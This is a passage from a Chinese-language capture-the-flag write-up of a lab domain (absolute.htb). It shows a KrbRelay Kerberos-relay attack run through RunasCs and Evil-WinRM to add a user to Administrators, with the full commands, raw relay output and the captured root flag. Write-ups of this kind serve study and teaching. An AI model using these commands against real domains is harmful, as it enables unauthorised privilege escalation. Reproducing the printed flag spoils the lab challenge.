| 36/50 | {bb6df56b-cace-11dc-9992-0019b93a3a84} | BITS |
| 37/50 | {BD8A8E7D-E42F-434A-8215-C7ECB6C32786} | SecurityHealthService |
| 38/50 | {C63261E4-6052-41FF-B919-496FECF4C4E5} | EntAppSvc |
| 39/50 | {c980e4c2-c178-4572-935d-a8a429884806} | AppReadiness |
| 40/50 | {CC66E708-C687-42EA-806E-83D41C9D1A5F} | SecurityHealthService |
| 41/50 | {d20a3293-3341-4ae8-9aaf-8e397cb63c34} | defragsvc |
| 42/50 | {D6B0D1EB-456E-48FF-A3E3-F393C74B85DB} | SecurityHealthService |
| 43/50 | {E579AB5F-1CC4-44b4-BED9-DE0991FF0623} | VSS |
| 44/50 | {e60687f7-01a1-40aa-86ac-db1cbf673334} | wuauserv |
| 45/50 | {EDAE4045-CAE6-4706-8973-FA69715B8C10} | SecurityHealthService |
| 46/50 | {F087771F-D74F-4C1A-BB8A-E16ACA9124EA} | BITS |
| 47/50 | {F0FF8EBB-F14D-4369-BD2E-D84FBF6122D6} | RSoPProv |
| 48/50 | {F556F9B2-C810-44A2-BA7A-3AB8C24E666D} | TrustedInstaller |
| 49/50 | {F99A566C-42AE-4DE2-AD4D-D297A04C5433} | SecurityHealthService |
| 50/50 | {FFE1E5FE-F1F0-48C8-953E-72BA272F2744} | EntAppSvc |
===========================================================================================
这里我选择第 31 个 8F5DF053-3013-4dd8-B5F4-88214E81C0CF
关于如何选择可以查看 KrbRelay Kerberos 中继实战
3.2 窃取凭证
最后用 runascs 来解决交互性问题，我决定把 winrm_user 用户加入到管理员组
*Evil-WinRM* PS C:\programdata> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\programdata\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -add-groupmember Administrators winrm_user"
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAC6zKhUj/VwOrhBRTGdJDBqAlQAAGQc///qvWFiQNfVdyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Forcing SYSTEM authentication
[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a382049c30820498a003020112a103020104a282048a048204861f
76798fcb631fe26c232125f3afbf3ae7657b3af2eaa5273e49a66bd594fa07e944684e994ee4f58f3cc81d244d0e9c63256bdb54edd40b9a5527b8e6883cf96229d8d095b7e81685b524c0a10dc074d1d3ce3d260f93a94e281f973b21d531eb6ad75187e189d22aa2058557bb50f7dcb1c07f22f5fa04e679be1a002e3e0d36f20425a45bde5bfbb7ec207db5a400d9c08
58ffd59a04bba8f67330ac8ad3beb502603c5cc0ae96cd0c47be1486711462c09b4920ee0c7d47e11e7adb5c2347b57d55b2213d6ab677a12d5ce4de415df284837aec44b2e8e86c042d0a7b7789136aecf432af89d115d033c75329329db83a98bbca80cc4fc6b5bb3aa34a12179e6a0627bbb92533eab7fdb4c64314ded1392e8c4166bae8e738888a52f546f49755caa
a93b5be95ccc4983b94912cb7de3f455d11276d411476298078cf92669b7eee9c865b06e464c63e262840c70374ae39b135c056adf4bb8ea648204f725d5c5ae83882fd118a0cc0a644cd1e306de3162aff64f22eb86de28c891c2ddeb27e1555ea6667ea47eccf2e8bd3a2012b9610b87d9cef57daccc8c1434a9ea37fd627f2313e82e19d671986cb922ff60d5095d113
1618dc6c1c6d720f164d4189cb03a9ae75ea844dd85a312485abceee09c49cdb456a1237282fda227b4d1b4b4d0b77d8050f9f5cffe1a7ec08ae5c3bd797a0a5067f91707d487ad8740b320a733bbaaed896f9daccb14bc7063bc39f5f0f94ae5547becd532de5d45bb17994d37cffe9480b29a87d172223a98c9c984b14f41336e5caac7295e282891f7c9234ab03e7f62
51e9e40cbf12ce6342261d76f93ecd0db3c5d1eebc25bdefa83d333d27d0e00146509740dedd4592507902d28ff3519b4e7f05fcabd1abc078de717890f098a80f30481beaf6e40ed83c79570d0da520abc8aadb3673a2b8b6ebd499b8ba7ed2d15d57dde76842b7d707913948c3f68d4d46faed30af5ea4a1e9c35436c562cda392c51b9e7353a37eb6e14ec4d268cb5a7
3704c2c1196596ea17d045441cc8839d368be49ad03ef8adfda5fc8d6afb69ee9a5a469cf8c688dd4d27e4646d0e3f898e4c32def7923ae11a92201f2473e585b960b8c51cb1b4477ed38c4b12b640ef86c6d76f43622a42d250cf476aeda6b4bcd645ffd189b78fa7da98b8b49ac2563837c712c60b1f774e5132eec2bcca2cf44fbeea21b81b1b05f6a13edd15c0d02ba
49d9375577ea573fd48e4802edd75db9f45fd7450297d7449804d76b833f78a61081501d99753c7808f0c9e074855d50e6b84c8d3b0c6c698140de22f40198dc914c926684e5442b9f529b83261559b274a5f7698a6f199502a0c644f4a4f77ca4a404de87a79952a207acce55aa494e07fe829994404d685fde6eca85e2ec08efb626f9e7b8ed640a1a67379283a4b015b
1382cf6ab706ce849aa4783b07224f47bdfe58dba0c4d01cdc0f9c6294165ae2a511cc287391d15c0ea60a39b179bf557f00559dc2110cbf9a97c99f8d03bc85ce8c3389931b8cd02261c37031877ea21dffc27cbe2b6cee26eefb6c29ed19d79a8ae0e1c2d0535a5a13aedec2e30b0633248167140c0717cc18bcbf05ddd47154046bfa861f107a51511a48201a3308201
9fa003020112a2820196048201928cc01c05f2976ce8b25fbc798d99c73d4192942d09a7bf3bdea465e6be2ed5b81828882a536610b0cd51de057e9bd699c5f2129f327d33f3f3b42497a36c5f0a86659a3a4707960fbd75deff965cf20758b59a65806c61c90fcd850f780037a2a48ef096f09a18dcdcc32450904320a65e585092c87c4ebbb47254579f483c24e2b57bc
83a6c716411e4fd082902c024ca687f2290808d523c5991bff8532ccfec586657cfeeb890dd8a33ad997822716a84123dc56621c846e9f5891e30340d7c63902fb727dc98edb59bddc50005ce8fddcd1fa22641e0ef6b1cac71fbfb4fd4d790d53c9ad27c59c0fe1b46b994fbd075b55571d33208ba6928e42b1e49077793bae45ee15d3295370d269a81a8f1605b02be95
017adfa314e7275ae4b6b4c9524b8cb7f368848fb6c313ecff1345b9f88f7eba45c3fea3aa86dd70f9af1309edd06b9c820723fe702e04424f5246fb873dff73fa43026df383ed04becd728634c497b11b0f5dc2790225c4db0916b70bfd1011255147c5e8804338f20c5854e43e102291bd85b5db2d3bf7f3f8ffeec4
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e5c0674fb0c9ff75ea2ed86571a0a2c5830dda4ac52ee3c8ccfa764fcfaa9368340a1e36fecf3684ad21efb7f3ddb6bdf7da0873b048f99552de76d3f06c0b3b94013908955fa2529e0a07b5ce53cc31be688e6cd2c7826c960a7c6e7b57fea7acf599c574dd8317e3846df6ec9bb
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a24404422539172b3363c20d98539cc37dd09a0d17ef89d0f4305a2e753950ea5be02e6e6a25749f0d7b220088991a07216dbe3d3e1bad19191336768aed04da6a64df698397
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS
然后重新通过证书获取票据之后就可以获取 flag 了
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user /domain
User name winrm_user
Full Name
Comment Used to perform simple network tasks
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 6/9/2022 1:25:51 AM
Password expires Never
Password changeable 6/10/2022 1:25:51 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/1/2026 12:14:29 PM
Logon hours allowed All
Local Group Memberships *Administrators *Remote Management Use
Global Group memberships *Domain Users *Protected Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\winrm_user\Documents> cd ../../
*Evil-WinRM* PS C:\Users> cd administrator
*Evil-WinRM* PS C:\Users\administrator> cd desktop
*Evil-WinRM* PS C:\Users\administrator\desktop> dir
Directory: C:\Users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/1/2026 12:02 AM 34 root.txt
*Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt
1e561cc963d186701afcb9c76f094ec6